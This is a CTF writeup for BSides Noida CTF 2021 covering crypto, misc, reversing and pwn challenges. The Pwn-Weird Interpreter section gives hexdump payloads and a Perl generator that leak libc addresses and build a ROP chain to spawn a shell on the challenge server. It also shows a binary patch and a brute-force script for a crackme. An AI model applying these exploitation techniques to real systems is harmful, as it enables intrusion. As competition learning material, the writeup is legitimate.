BSides Noida CTF 2021 writeup (English version)

日本語版: [BSides Noida CTF 2021 writeup - Qiita](https://qiita.com/mikecat_mixc/items/a9e6110310f5287efedc)

# About

I participated in [BSides Noida CTF 2021](https://ctf.bsidesnoida.in/) (August 7, 2021 19:30 - August 8, 2021 19:30 (JST: UTC+9)) ([CTFtime.org](https://ctftime.org/event/1397)) as a one-person team.
I earned 3748 points and ranked 21th among 411 teams that earned positive score.

Here is a list of challenges I solved:

|Challenge|Category|Value|Time (JST)|
|---|---|--:|---|
|Baby Web|Web|420|2021/08/07 23:18:10|
|Xoro|Crypto|388|2021/08/07 23:37:15|
|MACAW|Crypto|445|2021/08/07 23:58:05|
|Psst|Misc|159|2021/08/08 00:23:49|
|Welcome|Misc|50|2021/08/08 00:48:38|
|Sanity|Reverse|437|2021/08/08 01:56:19|
|My Artwork|Misc|287|2021/08/08 06:53:39|
|Rev-Weird Interpreter|Reverse|494|2021/08/08 09:53:12|
|Pwn-Weird Interpreter|Pwn|495|2021/08/08 14:22:15|
|Macaw_Revenge|Crypto|473|2021/08/08 15:23:01|
|Farewell|Misc|50|2021/08/08 16:32:15|
|FeedBack Form|Misc|50|2021/08/08 18:17:59|

![Score over Time](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/42593d05-6932-c517-3ad3-f5586d54627c.png)

# Challenges I solved

## Crypto

### Xoro

Information to connect to a TCP server and a server program `xoro.py` were given.

What `xoro.py` does was:

1. Generate a 32-byte random key
2. Accept an input
3. Calculate exclusive-or of "the input with `FLAG` concatenated at the end" and "the key, repeated" and output the result

Sending 32-byte 0x00 will have it print the key as the first 32 bytes like this:

```
===== WELCOME TO OUR ENCRYPTION SERVICE =====

[plaintext (hex)]>  0000000000000000000000000000000000000000000000000000000000000000
[ciphertext (hex)]> 26b1c562e6f9ddf4dadf1ed4749af310b94c313357c28dd66f97fabce7b1e5d364e28b0d8f9dbc8fb2b0698b17fb9d4fc023446c35b0e8b704c8aef4a2eebd9c74eefa43d9d8a0
See ya ;)
```

[Using "XOR" with the first 32 bytes as the key](https://gchq.github.io/CyberChef/#recipe=Register%28%27%28.%7B64%7D%29%27,true,false,false%29From_Hex%28%27Auto%27%29Drop_bytes%280,32,false%29XOR%28%7B%27option%27:%27Hex%27,%27string%27:%27$R0%27%7D,%27Standard%27,false%29&input=MjZiMWM1NjJlNmY5ZGRmNGRhZGYxZWQ0NzQ5YWYzMTBiOTRjMzEzMzU3YzI4ZGQ2NmY5N2ZhYmNlN2IxZTVkMzY0ZTI4YjBkOGY5ZGJjOGZiMmIwNjk4YjE3ZmI5ZDRmYzAyMzQ0NmMzNWIwZThiNzA0YzhhZWY0YTJlZWJkOWM3NGVlZmE0M2Q5ZDhhMDI2YjFjNTYy) with referring the example "Perform AES decryption, extracting the IV from the beginning of the cipher stream" on the [description of CyberChef](https://github.com/gchq/CyberChef), it resulted in this Output:

```
BSNoida{how_can_you_break_THE_XOR_?!?!}Òk.|
```

I obtained the flag by removing the extra part.

```
BSNoida{how_can_you_break_THE_XOR_?!?!}
```

### MACAW

Information to connect to a TCP server and a server program `MACAW.py` were given.

What `MACAW.py` does was:

1. Output `secret_msg`.
2. Have the user select one of following process and do what is selected, at most 3 times.
   * Accept an input that is not `secret_msg`, encrypt that via `AES.MODE_CBC` with `key` and `iv`, and output the last block and `iv`.
   * Accept an input and output `FLAG` if the input is equal to`secret_tag`.

I couldn't find the characteristics of `iv, key, secret_msg, secret_tag` from the program,
but I guessed that `iv` and `key` are fixed, and that `secret_tag` is the last block of the ciphertext for `secret_msg`.

In the CBC mode, the current ciphertext block can be obtained by encrypting "exclusive-or of the previous ciphertext block (or the IV) and the current plaintext block".
([Block cipher mode of operation - Wikipedia](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_block_chaining_(CBC)))
In this case, the IV seems fixed, so the IV to use can be virtually specified by applying exclusive-or with "exclusive-or of the IV actually used and the IV (or previous ciphertext block) to use" to the plaintext block.
This enables it to encrypt a message with dividing to several parts.

I encrypted `secret_msg` in this way:

|plaintext block|plaintext block XOR previous ciphertext block XOR IV|ciphertext block|
|---|---|---|
|(IV)||`4aa8d73c2f644a6cecf9cf1af82ebbe9`|
|`57656c636f6d6520746f204253696465`|`57656c636f6d6520746f204253696465`|`8992b52f29709147a0aa1e084a3bfe19`|
|`734e6f696461212120466f6c6c6f7720`|`b0740d7a6275fa0a6c15be7ede7a32d0`|`f25d4a2c1c95c62576b48019d63e4f00`|
|`7573206f6e20547769747465722e2e2e`|`cd86bd7f5dd1d83ef3393b665c3edac7`|`eae429a7fdc8b0d6161d02b9cce52ba9`|

I obtained the flag using the final result`eae429a7fdc8b0d6161d02b9cce52ba9`.

```
BSNoida{M4c4w5_4r3_4d0r4b13}
```

### Macaw_Revenge

Information to connect to a TCP server and a server program `macaw_revenge.py` were given.

What `macaw_revenge.py` does was:

1. Randomly choose `iv` (16 bytes), `key` (16 bytes), and `secret_msg` (48 bytes).
2. Set `secret_tag` to the last block of `secret_msg` encrypted via `AES.MOCE_CBC` with `key` and `iv`.
3. Output `secret_msg`
4. Have the user select one of following process and do what is selected, at most 3 times.
   * Accept an input that is not `secret_msg`, encrypt that via `AES.MODE_CBC` with `key` and `iv`, and output the last block and `iv`.
   * Accept an input and output `FLAG` if the input is equal to`secret_tag`.

In the CBC mode, the current ciphertext block can be obtained by encrypting "exclusive-or of the previous ciphertext block (or the IV) and the current plaintext block".
([Block cipher mode of operation - Wikipedia](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_block_chaining_(CBC)))
Therefore, when IV is fixed, a plaintext block can be encrypted as if it is placed after an ciphertext block by encrypting the plaintext block with exclusive-ored with the IV and the ciphertext block because doing so will make the IV canceled by being exclusive-ored twice.

Using this feature, I obtained the flag in this way:

1. Encrypt `secret_msg` except for the last block.
2. Encrypt exclusive-or of the output (ciphertext block) of 1, `iv`, and the last block of `secret_msg`.
3. Enter the output (ciphertext block) of 2, which should be `secret_tag`.

```
BSNoida{M4c4w5_4r3_pr3tty_l0ud}
```

## Misc

### Welcome

This challenge description was given:

> ```
> Welcome To BSides Noida CTF. Good Luck and Have fun :)
> Flag : BSNoida{W3lc0me_To_BSidesNoida_CTF}
> ```

The flag was the part after `flag : ` in this challenge description.

```
BSNoida{W3lc0me_To_BSidesNoida_CTF}
```

### FeedBack Form

An link to a page of Google Forms was given.
What is linked is a single-page questionnaire. It showed the flag after I submit my answer.

```
BSidesNOIDA{s33_y0u_n3xt_t1m3}
```

### Farewell

A link to a web page on which we can play a jigsaw puzzle was given.

Solving the puzzle, an image that looks related to anime with red strings appeared.
The strings on the image were like this:

![The strings on the image](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/2dbe472f-dfa2-0e3d-36ea-d6f446869383.png)

Correcting the strings resulted in this, but this was not the flag:

```
BSNoida{Th4nk5_f0rpl4y1ng_See_y0u_n3xty34r_By3}
```

I obtained the flag by adding two `_` to this string.

```
BSNoida{Th4nk5_f0r_pl4y1ng_See_y0u_n3xt_y34r_By3}
```

### Psst

A file `psst.tar.gz` was given.
Decompressing via [7-Zip](https://www.7-zip.org/) yielded a file `psst.tar`.
Trying to extract `psst.tar` via 7-Zip resulted in an error that the path is too long.

Applying the `strings` command to `psst.tar`, there were paths that ends with `readme_(number).txt` in the latter part.
Also searching for `{` that should be in the flag from `psst.tar` via a binary editor,
I found this character alone with newline (0x0A), surrounded by 0x00.

Seeing this, I extracted single-character data in `psst.tar` via this command:

```
strings -n 1 psst.tar > psst-strings-n1.txt
grep -x . psst-strings-n1.txt > psst-strings-n1-onecharlines.txt
```

(`-x` for `grep` is an option that means "match the whole line with the regexp")

I obtained the flag by [removing the newline characters and applying "Reverse" via CyberChef](https://gchq.github.io/CyberChef/#recipe=Find_/_Replace%28%7B%27option%27:%27Extended%20%28%5C%5Cn,%20%5C%5Ct,%20%5C%5Cx...%29%27,%27string%27:%27%5C%5Cn%27%7D,%27%27,true,false,true,false%29Reverse%28%27Character%27%29&input=fQpmCjMKNwo3CmYKNgpjCjYKNgo2CjIKNwo1CjYKNgo3CmYKNgpiCjYKMwo2CjEKNgo0CjcKMwo3CjAKMgoyCjcKZgo2Cl8KZwpuCjEKdApwCjEKcgpjCjUKXwpoCjUKNApiCl8KMwo1CnUKXwp1CjAKeQpfCmQKMQpkCnsKYQpkCmkKbwpOClMKQgo) to the result.

```
BSNoida{d1d_y0u_u53_b45h_5cr1pt1ng_6f7220737461636b6f766572666c6f773f}
```

### My Artwork

A text file `art.TURTLE` was given.
This file had 28 lines that begins with `REPEAT`.

I googled "TURTLE interpreter" and found this:
[Free Online Turtle Graphics - logointerpreter.com - Surf your logo code! / Logo editor](http://www.logointerpreter.com/turtle-editor.php)

One character was drawn when I copy-and-pasted one line with `REPEAT` and hit the "Animate" button.
I copy-and-pasted the 28 lines one-by-one and corrected the characters drawn. The result was:

```
CODE_IS_BEAUTY_BEAUTY_ISCODE
```

I obtained the flag by wrapping this string with `BSNoida{}` and adding a `_`.

```
BSNoida{CODE_IS_BEAUTY_BEAUTY_IS_CODE}
```

## Pwn

### Pwn-Weird Interpreter

Information to connect to a TCP server and a file `Weird_Interpreter.zip` were given.
These are the same as what are given in the challenge [Rev-Weird Interpreter](#rev-weird-interpreter).
The function to execute the program and its characteristics (data placement on the stack, etc.) is known from the process to solve the challenge.

The code to print the message in the function `FUN_00102a45` is:

```
        00102ac2 48 8d 35        LEA        RSI,[s_Enter_ur_Code_:_001030a1]                 = "Enter ur Code : "
                 d8 05 00 00
        00102ac9 48 8d 3d        LEA        RDI,[std::cout]                                  = 
                 b0 26 00 00
                             try { // try from 00102ad0 to 00102b0b has its CatchHandler @
                             LAB_00102ad0                                    XREF[1]:     001033dc(*)  
        00102ad0 e8 2b f6        CALL       <EXTERNAL>::std::operator<<                      basic_ostream * operator<<(basic
                 ff ff
```

Therefore, it should be able to print arbitrary data by putting an address of data to print to `RSI` and jump to 0x2c9.
ROP (Return-Oriented Programming) with the gadget `pop rsi; pop r15; ret` on 0x29f1 should be useful to set `RSI`.

I created this program to prepare multiple values at once for ROP.

<details><summary>num_gen_multi.pl</summary><div>

```num_gen_multi.pl
#!/usr/bin/perl

use strict;
use warnings;

if (@ARGV < 1) {
	die "Usage: perl num_gen_multi.pl target_number [target_number...]\n";
}

my @targets = ();
for (my $i = 0; $i < @ARGV; $i++) {
	push(@targets, int($ARGV[$i]));
}

print "a334"; # nandeya hanshin kankei naiyaro
for (;;) {
	my $proceed = 0;
	for (my $i = 0; $i < @targets; $i++) {
		my $no = $i + ($i < 3 ? 0 : 2); # reserve 3 and 4
		if ($targets[$i] & 1) {printf "a%d%d3", $no, $no; }
		$targets[$i] >>= 1;
		if ($targets[$i] > 0) { $proceed = 1; }
	}
	if ($proceed) {
		print "a333";
	} else {
		last;
	}
}
```

</div></details>

Setting the stack from the return address like this will have it print the address of the function `setvbuf` on 0x5018.
("difference" here is the difference from the return address)

```
0x29f1 (difference: 0x11b)
0x5018 (difference: 0x250c)
something
0x2ac9 (difference: 0x43)
```

Also, when I tried the program on [CS50 IDE][cs50] with GDB, I found that the entered program is stored just after the return address and it was destroyed by writing to the stack right after starting execution.
To overcome this, I added meaningless instructions to the beginning of the program to allocate some space for data for ROP.

Following program has this structure and have it output the address of the function `setvbuf`:

1. Space for data for ROP
2. Copy the upper 6 bytes of the return address
3. Prepare values to add or subtract to the return address
4. Arithmetics with the prepared values and the return address

```
00000000  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000010  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000020  61 85 30 81 61 8d 30 81 61 86 30 82 61 8e 30 82  |a.0.a.0.a.0.a.0.|
00000030  61 87 30 83 61 8f 30 83 61 30 31 31 61 33 33 34  |a.0.a.0.a011a334|
00000040  61 30 30 33 61 32 32 33 61 33 33 33 61 30 30 33  |a003a223a333a003|
00000050  61 32 32 33 61 33 33 33 61 31 31 33 61 33 33 33  |a223a333a113a333|
00000060  61 30 30 33 61 31 31 33 61 33 33 33 61 30 30 33  |a003a113a333a003|
00000070  61 33 33 33 61 33 33 33 61 32 32 33 61 33 33 33  |a333a333a223a333|
00000080  61 33 33 33 61 30 30 33 61 31 31 33 61 33 33 33  |a333a003a113a333|
00000090  61 33 33 33 61 31 31 33 61 33 33 33 61 33 33 33  |a333a113a333a333|
000000a0  61 33 33 33 61 31 31 33 73 33 33 33 73 8c 80 32  |a333a113s333s..2|
000000b0  61 84 80 31 73 80 80 30 0a                       |a..1s..0.|
```

This program will have it output the address of the `__libc_start_main` function on 0x4fe0 in the same way:

```
00000000  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000010  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000020  61 85 30 81 61 8d 30 81 61 86 30 82 61 8e 30 82  |a.0.a.0.a.0.a.0.|
00000030  61 87 30 83 61 8f 30 83 61 30 31 31 61 33 33 34  |a.0.a.0.a011a334|
00000040  61 30 30 33 61 32 32 33 61 33 33 33 61 30 30 33  |a003a223a333a003|
00000050  61 32 32 33 61 33 33 33 61 31 31 33 61 33 33 33  |a223a333a113a333|
00000060  61 30 30 33 61 33 33 33 61 30 30 33 61 31 31 33  |a003a333a003a113|
00000070  61 33 33 33 61 33 33 33 61 31 31 33 61 32 32 33  |a333a333a113a223|
00000080  61 33 33 33 61 31 31 33 61 33 33 33 61 30 30 33  |a333a113a333a003|
00000090  61 33 33 33 61 33 33 33 61 31 31 33 61 33 33 33  |a333a333a113a333|
000000a0  61 33 33 33 61 33 33 33 61 31 31 33 73 33 33 33  |a333a333a113s333|
000000b0  73 8c 80 32 61 84 80 31 73 80 80 30 0a           |s..2a..1s..0.|
```

I obtained the addresses of the functions by sending these programs via "Send File" on [Tera Term][teraterm] and see what the server outputs via [Wireshark](https://www.wireshark.org/).
As a result, the address of the function `setvbuf` was `0x7f0bedeed630` and one of the function `__libc_start_main` was `0x7f98159babc0`.
The addresses may be random except for the least three hexadecimal digits.
I put the addresses to [libc-database](https://libc.rip/) one-by-one and `libc6_2.32-0ubuntu3.1_amd64` was found as the only common result.
According to this site, `__libc_start_main_ret` is`0x28cb2`, `str_bin_sh` is`0x1ae41f`, and `system` is `0x503c0`.
These information should be useful to execute `system("/bin/sh")` and launch the shell.

Examining with GDB on [CS50 IDE][cs50], I found that there is an address to return to `__libc_start_main` on the stack, but the difference of `RSP` and where it is placed depended on the length of the input.
To overcome this, I decided to use `c` instruction that stops execution to add a padding to the input and use a fixed-length input.
With 512-byte input, the address was at `RSP + 0x308` (`RAM[0x17c]`).
This address corresponds to `__libc_start_main_ret`, so we can create the addresses of `str_bin_sh` and `system` from this address.
The problem is that this system only allows 16-bit addition and subtraction and that it is hard to support carry from the least 16 bits.
I decided to rely on the lack because the probability to fail due to this carry is 1/2, supposing that the address is uniformly distributed.

As a conclusion, we can call `system("/bin/sh")` via ROP by putting following data to the stack.
0x29f3 is a gadget `pop rdi; ret` and 0x29f4 is a gadget `ret`.
0x29f4 is added for adjusting the stack alignment.

```
0x29f3 (difference from the return address: 0x119)
str_bin_sh (difference from __libc_start_main_ret: 0x18576d)
0x29f4 (difference from the return address: 0x118)
system (difference from __libc_start_main_ret: 0x2770e)
```

This is the program to put this data:

<details><summary>payload-system.bin</summary><div>

```
00000000  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000010  61 30 30 30 61 30 30 30 61 30 30 30 61 30 30 30  |a000a000a000a000|
00000020  61 89 30 81 61 8a 30 82 61 8b 30 83 61 35 33 33  |a.0.a.0.a.0.a533|
00000030  61 36 33 33 61 33 33 34 61 35 35 33 61 33 33 33  |a633a334a553a333|
00000040  61 36 36 33 61 33 33 33 61 31 31 33 61 35 35 33  |a663a333a113a553|
00000050  61 36 36 33 61 33 33 33 61 30 30 33 61 31 31 33  |a663a333a003a113|
00000060  61 32 32 33 61 35 35 33 61 36 36 33 61 33 33 33  |a223a553a663a333|
00000070  61 30 30 33 61 31 31 33 61 32 32 33 61 33 33 33  |a003a113a223a333|
00000080  61 31 31 33 61 35 35 33 61 33 33 33 61 31 31 33  |a113a553a333a113|
00000090  61 35 35 33 61 33 33 33 61 33 33 33 61 30 30 33  |a553a333a333a003|
000000a0  61 31 31 33 61 35 35 33 61 36 36 33 61 33 33 33  |a113a553a663a333|
000000b0  61 35 35 33 61 36 36 33 61 33 33 33 61 35 35 33  |a553a663a333a553|
000000c0  61 36 36 33 61 33 33 33 61 33 33 33 61 35 35 33  |a663a333a333a553|
000000d0  61 36 36 33 61 33 33 33 61 36 36 33 61 33 33 33  |a663a333a663a333|
000000e0  61 35 35 33 61 36 36 33 73 33 33 33 73 88 80 30  |a553a663s333s..0|
000000f0  61 30 30 34 73 80 80 30 72 30 31 61 84 30 35 61  |a004s..0r01a.05a|
00000100  8c 30 36 61 31 31 34 72 30 31 61 85 30 32 61 30  |.06a114r01a.02a0|
00000110  30 34 61 8d 30 34 61 31 31 34 72 30 31 61 86 30  |04a.04a114r01a.0|
00000120  33 61 8e 30 33 61 31 31 34 72 30 31 61 87 30 33  |3a.03a114r01a.03|
00000130  61 8f 30 33 63 30 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |a.03c0----------|
00000140  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000150  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000160  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000170  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000180  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000190  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001a0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001b0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001c0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001d0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001e0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
000001f0  2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d  |----------------|
00000200  0a                                               |.|
```

</div></details>

What this program does is:

1. Allocate space for ROP data.
2. Copy the upper 6 bytes of the return address.
3. Prepare the values.
4. Read and copy `__libc_start_main_ret` with addition.
5. Put values by subtracting values from the return address.
6. Finish execution by the `c` instruction.

I succeeded to launch the shell via this program.
Executing `ls` command revealed that there are files `flag1.txt` and `flag2.txt`.
I used `cat` command to have it output the contents of the files.
`flag1.txt` had the flag for the challenge Rev-Weird Interpreter and `flag2.txt` had the flag for this challenge.

```
BSNoida{b3d51a88e2d57cb1a62816f9b8131430}
```

## Reverse

### Sanity

A file `Sanity.zip` was given. An executable file `Sanity.exe` was extracted from that.

Decompiling `Sanity.exe` via [Ghidra][ghidra],
I found that the function `FUN_004011b0` is called from the function `entry`
and the function `FUN_0040153f`, which is called from the function `FUN_004011b0`, is something like the `main` function.

<details><summary>Decompilation results for this part</summary><div>

```c
/* WARNING: Exceeded maximum restarts with more pending */

void entry(void)

{
  __set_app_type(1);
  FUN_004011b0();
  __set_app_type(2);
  FUN_004011b0();
                    /* WARNING: Could not recover jumptable at 0x00401320. Too many branches */
                    /* WARNING: Treating indirect jump as call */
  atexit();
  return;
}

void FUN_004011b0(void)

{
  code *pcVar1;
  int *piVar2;
  undefined4 *puVar3;
  UINT uExitCode;
  
  tls_callback_0(0,2,0);
  SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER)&LAB_00401000);
  FUN_00401a30();
  FUN_00402240(DAT_00405a04);
  FUN_00401690();
  pcVar1 = _iob_exref;
  if (DAT_00408020 != 0) {
    DAT_00405a08 = DAT_00408020;
    _setmode(*(int *)(_iob_exref + 0x10),DAT_00408020);
    _setmode(*(int *)(pcVar1 + 0x30),DAT_00408020);
    _setmode(*(int *)(pcVar1 + 0x50),DAT_00408020);
  }
  piVar2 = (int *)__p__fmode();
  *piVar2 = DAT_00405a08;
  FUN_00402040();
  FUN_00401bc0();
  puVar3 = (undefined4 *)__p__environ();
  uExitCode = FUN_0040153f(DAT_00408004,DAT_00408000,*puVar3);
  _cexit();
                    /* WARNING: Subroutine does not return */
  ExitProcess(uExitCode);
}
```

</div></details>

The function `FUN_0040153f` is below.
It is checking each bytes of what is entered with outputting characters and calling `Sleep(100);`.

<details><summary>Decompiled function `FUN_0040153f`</summary><div>

```c
undefined4 FUN_0040153f(void)

{
  FILE *_File;
  char cVar1;
  uint uVar2;
  uint uVar3;
  char *pcVar4;
  int iVar5;
  undefined4 local_129;
  undefined4 local_125;
  undefined local_121;
  byte local_120 [264];
  undefined *local_18;
  
  local_18 = &stack0x00000004;
  FUN_00401bc0();
  local_129 = 0x65486548;
  local_125 = 0x69696f42;
  local_121 = 0;
  printf("Enter Flag : ");
  scanf("%256s",local_120);
  uVar3 = 0;
  do {
    uVar2 = 0xffffffff;
    pcVar4 = s_BSNoida{ZSBrbm93IHRoZSBnYW1lIGFu_00404880;
    do {
      if (uVar2 == 0) break;
      uVar2 = uVar2 - 1;
      cVar1 = *pcVar4;
      pcVar4 = pcVar4 + 1;
    } while (cVar1 != '\0');
    if (~uVar2 - 1 <= uVar3) {
      puts("\nCorrect");
      return 0;
    }
    printf("\r%*s\r%s",9,&DAT_00406081,"Checking");
    fflush((FILE *)(_iob_exref + 0x20));
    uVar2 = (uint)((int)uVar3 >> 0x1f) >> 0x1d;
    if ((byte)(s_BSNoida{ZSBrbm93IHRoZSBnYW1lIGFu_00404880[uVar3] ^ local_120[uVar3]) !=
        *(byte *)((int)&local_129 + ((uVar3 + uVar2 & 7) - uVar2))) {
      puts("\nWrong");
      return 0;
    }
    for (iVar5 = 0; iVar5 < 3; iVar5 = iVar5 + 1) {
      Sleep(100);
      _File = (FILE *)(_iob_exref + 0x20);
      fputc(0x2e,_File);
      fflush(_File);
    }
    uVar3 = uVar3 + 1;
  } while( true );
}
```

</div></details>

Checking with entering the first few characters of what should be the flag,
I found that the more correct characters I enter, the more bytes are outputted.

Seeing this, firstly I modified the file to will the part to call `Sleep(100);` with NOP.
In other words, I changed the 8 bytes from the 0x9b7-th byte to the 0x9be-th byte of the file `Sanity.exe` (the following part) to 0x90 via a binary editor and saved as `Sanity-pat-ched.exe`.
(putting `patched` to the file name resulted in being asked to execute as an administrator for some reason, so I named the new file `pat-ched`)

```
        004015b7 e8 5c 27        CALL       KERNEL32.DLL::Sleep                              void Sleep(DWORD dwMilliseconds)
                 00 00
        004015bc 83 ec 04        SUB        ESP,0x4
```

Also I created following program to search for each characters of the flag and executed that.

<details><summary>bruteforce.pl</summary><div>

```bruteforce.pl
#!/usr/bin/perl

use strict;
use warnings;

my $target = "Sanity-pat-ched.exe";

sub query {
	my $q = $_[0];
	open(PROC, "echo $q | $target |") or die "open failed: $!\n";
	my $data = "";
	while (<PROC>) { $data .= $_; }
	close(PROC);
	return length($data);
}

my $char_to_use = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_{}";
my $culen = length($char_to_use);

my $flag = "";
my $prev_len = &query($flag);

for (;;) {
	my $found = 0;
	for (my $i = 0; $i < $culen; $i++) {
		my $c= substr($char_to_use, $i, 1);
		my $flag_candidate = $flag . $c;
		my $l = &query($flag_candidate);
		if ($l > $prev_len) {
			$flag .= $c;
			print STDERR "$c\n";
			$prev_len = $l;
			if ($c eq "}") {
				print "$flag\n";
				exit;
			}
			$found = 1;
			last;
		}
	}
	unless ($found) {
		print STDERR "NOT FOUND\n";
		print "$flag\n";
		exit;
	}
}
```

</div></details>

As a result, I obtained the flag.

```
BSNoida{Ezzzzzzzzzzzzzzzzzz_Flag}
```

### Rev-Weird Interpreter

Information to connect to a TCP server and a file `Weird_Interpreter.zip` were given.
Decompressing `Weird_Interpreter.zip` yieled a server program (a ELF file) `Interpreter`.

Decompiling `Interpreter` via [Ghidra][ghidra], I found it doing this:

1. The function `entry` calls the function `__libc_start_main` with `FUN_00102a45` and more as the arguments.
2. The function `FUN_00102a45` prints a message, reads a program, and calls the function `FUN_00102750`.
3. The function `FUN_00102750` executes the program.

<details><summary>The function `FUN_00102a45`</summary><div>

```c
/* WARNING: Could not reconcile some variable overlaps */

undefined4 FUN_00102a45(void)

{
  long lVar1;
  char *__src;
  undefined4 uVar2;
  long in_FS_OFFSET;
  code *pcStack80;
  char *local_48;
  undefined8 local_40;
  char local_38 [24];
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  pcStack80 = (code *)0x102a78;
  setvbuf(stdin,(char *)0x0,2,0);
  pcStack80 = (code *)0x102a93;
  setvbuf(stdout,(char *)0x0,2,0);
  pcStack80 = (code *)0x102aae;
  setvbuf(stderr,(char *)0x0,2,0);
  local_48 = local_38;
  local_40 = 0;
  local_38[0] = '\0';
                    /* try { // try from 00102ad0 to 00102b0b has its CatchHandler @ 00102b2e */
  pcStack80 = (code *)0x102ad5;
  std::operator<<((basic_ostream *)std::cout,"Enter ur Code : ");
  pcStack80 = (code *)0x102ae5;
  std::operator>>((basic_istream *)std::cin,(basic_string *)(&pcStack80 + 1));
  __src = local_48;
  lVar1 = -((long)((int)local_40 + 1) + 0xfU & 0xfffffffffffffff0);
  *(undefined8 *)((long)&pcStack80 + lVar1) = 0x102b04;
  strcpy((char *)((long)&pcStack80 + lVar1 + 8),__src);
  *(undefined8 *)((long)&pcStack80 + lVar1) = 0x102b0c;
  uVar2 = FUN_00102750((long)&pcStack80 + lVar1 + 8);
  *(undefined8 *)((long)&pcStack80 + lVar1) = 0x102b17;
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_dispose();
  if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar2;
  }
                    /* WARNING: Subroutine does not return */
  *(code **)((long)&pcStack80 + lVar1) = FUN_00102b47;
  __stack_chk_fail();
}
```

</div></details>

<details><summary>The function `FUN_00102750`</summary><div>

```c
/* WARNING: Type propagation algorithm not settling */

undefined8 FUN_00102750(char *param_1)

{
  bool bVar1;
  byte bVar2;
  size_t sVar3;
  undefined8 uVar4;
  int iVar5;
  byte bVar6;
  int iVar7;
  byte bVar8;
  byte bVar9;
  long in_FS_OFFSET;
  undefined8 local_a0;
  undefined6 uStack150;
  undefined8 uStack152;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined4 local_60;
  undefined local_58 [16];
  undefined local_48;
  long local_40;
  
  local_40 = *(long *)(in_FS_OFFSET + 0x28);
  local_a0 = 0;
  uStack152 = 0;
  local_90 = 0;
  local_88 = 0;
  local_80 = 0;
  local_78 = 0;
  local_70 = 0;
  local_68 = 0;
  local_60 = 0;
  sVar3 = strlen(param_1);
  uStack152 = CONCAT62(uStack150,1);
  bVar8 = 0;
  bVar9 = 0;
  bVar1 = true;
  iVar5 = 0;
  while (bVar1) {
    bVar2 = param_1[iVar5] | 0x20;
    iVar7 = iVar5 + 2;
    bVar6 = param_1[iVar5 + 1] - 0x30;
    if (bVar2 != 99) {
      bVar9 = param_1[iVar7] - 0x30;
      iVar7 = iVar5 + 3;
      if (bVar2 != 0x77 && bVar2 != 0x72) {
        bVar8 = param_1[iVar5 + 3] - 0x30;
        iVar7 = iVar5 + 4;
      }
      if ((3 < bVar6 && 3 < bVar9) && (3 < bVar8)) {
        std::operator<<((basic_ostream *)std::cerr,"Invalid Register\n");
                    /* WARNING: Subroutine does not return */
        exit(-1);
      }
    }
    switch(bVar2) {
    case 0x61:
      *(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
           *(short *)((long)&local_a0 + (long)(char)bVar8 * 2) +
           *(short *)((long)&local_a0 + (long)(char)bVar9 * 2);
      break;
    default:
      std::__ostream_insert<char,std::char_traits<char>>
                ((basic_ostream *)std::cerr,"Invalid Opcode\n",0xf);
                    /* WARNING: Subroutine does not return */
      exit(-1);
    case 99:
      std::__ostream_insert<char,std::char_traits<char>>
                ((basic_ostream *)std::cout,"\nChecking...\n",0xd);
      for (iVar5 = 0; iVar5 < 0x10; iVar5 = iVar5 + 1) {
        local_58[iVar5] =
             (char)*(undefined2 *)((long)&stack0xffffffffffffff68 + (long)((char)bVar6 + iVar5) * 2)
        ;
      }
      local_48 = 0;
      FUN_0010234f(local_58);
      uVar4 = 1;
      goto LAB_001029d6;
    case 100:
      *(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
           *(short *)((long)&local_a0 + (long)(char)bVar9 * 2) /
           *(short *)((long)&local_a0 + (long)(char)bVar8 * 2);
      break;
    case 0x6d:
      *(short *)((long)&local_a0 + (long)(char)bVar6 * 2) =
           *(short *)((long)&local_a0 + (long)(char)bVar8 * 2) *
           *(short *)((long)&local_a0 + (long)(char)bVar9 * 2);
      break;
    case 0x72:
      *(undefined2 *)((long)&local_a0 + (long)(char)bVar6 * 2) =
           *(undefined2 *)
            ((long)&stack0xffffffffffffff68 +
            (long)*(short *)((long)&local_a0 + (long)(char)bVar9 * 2) * 2);
      break;
    case 0x73:
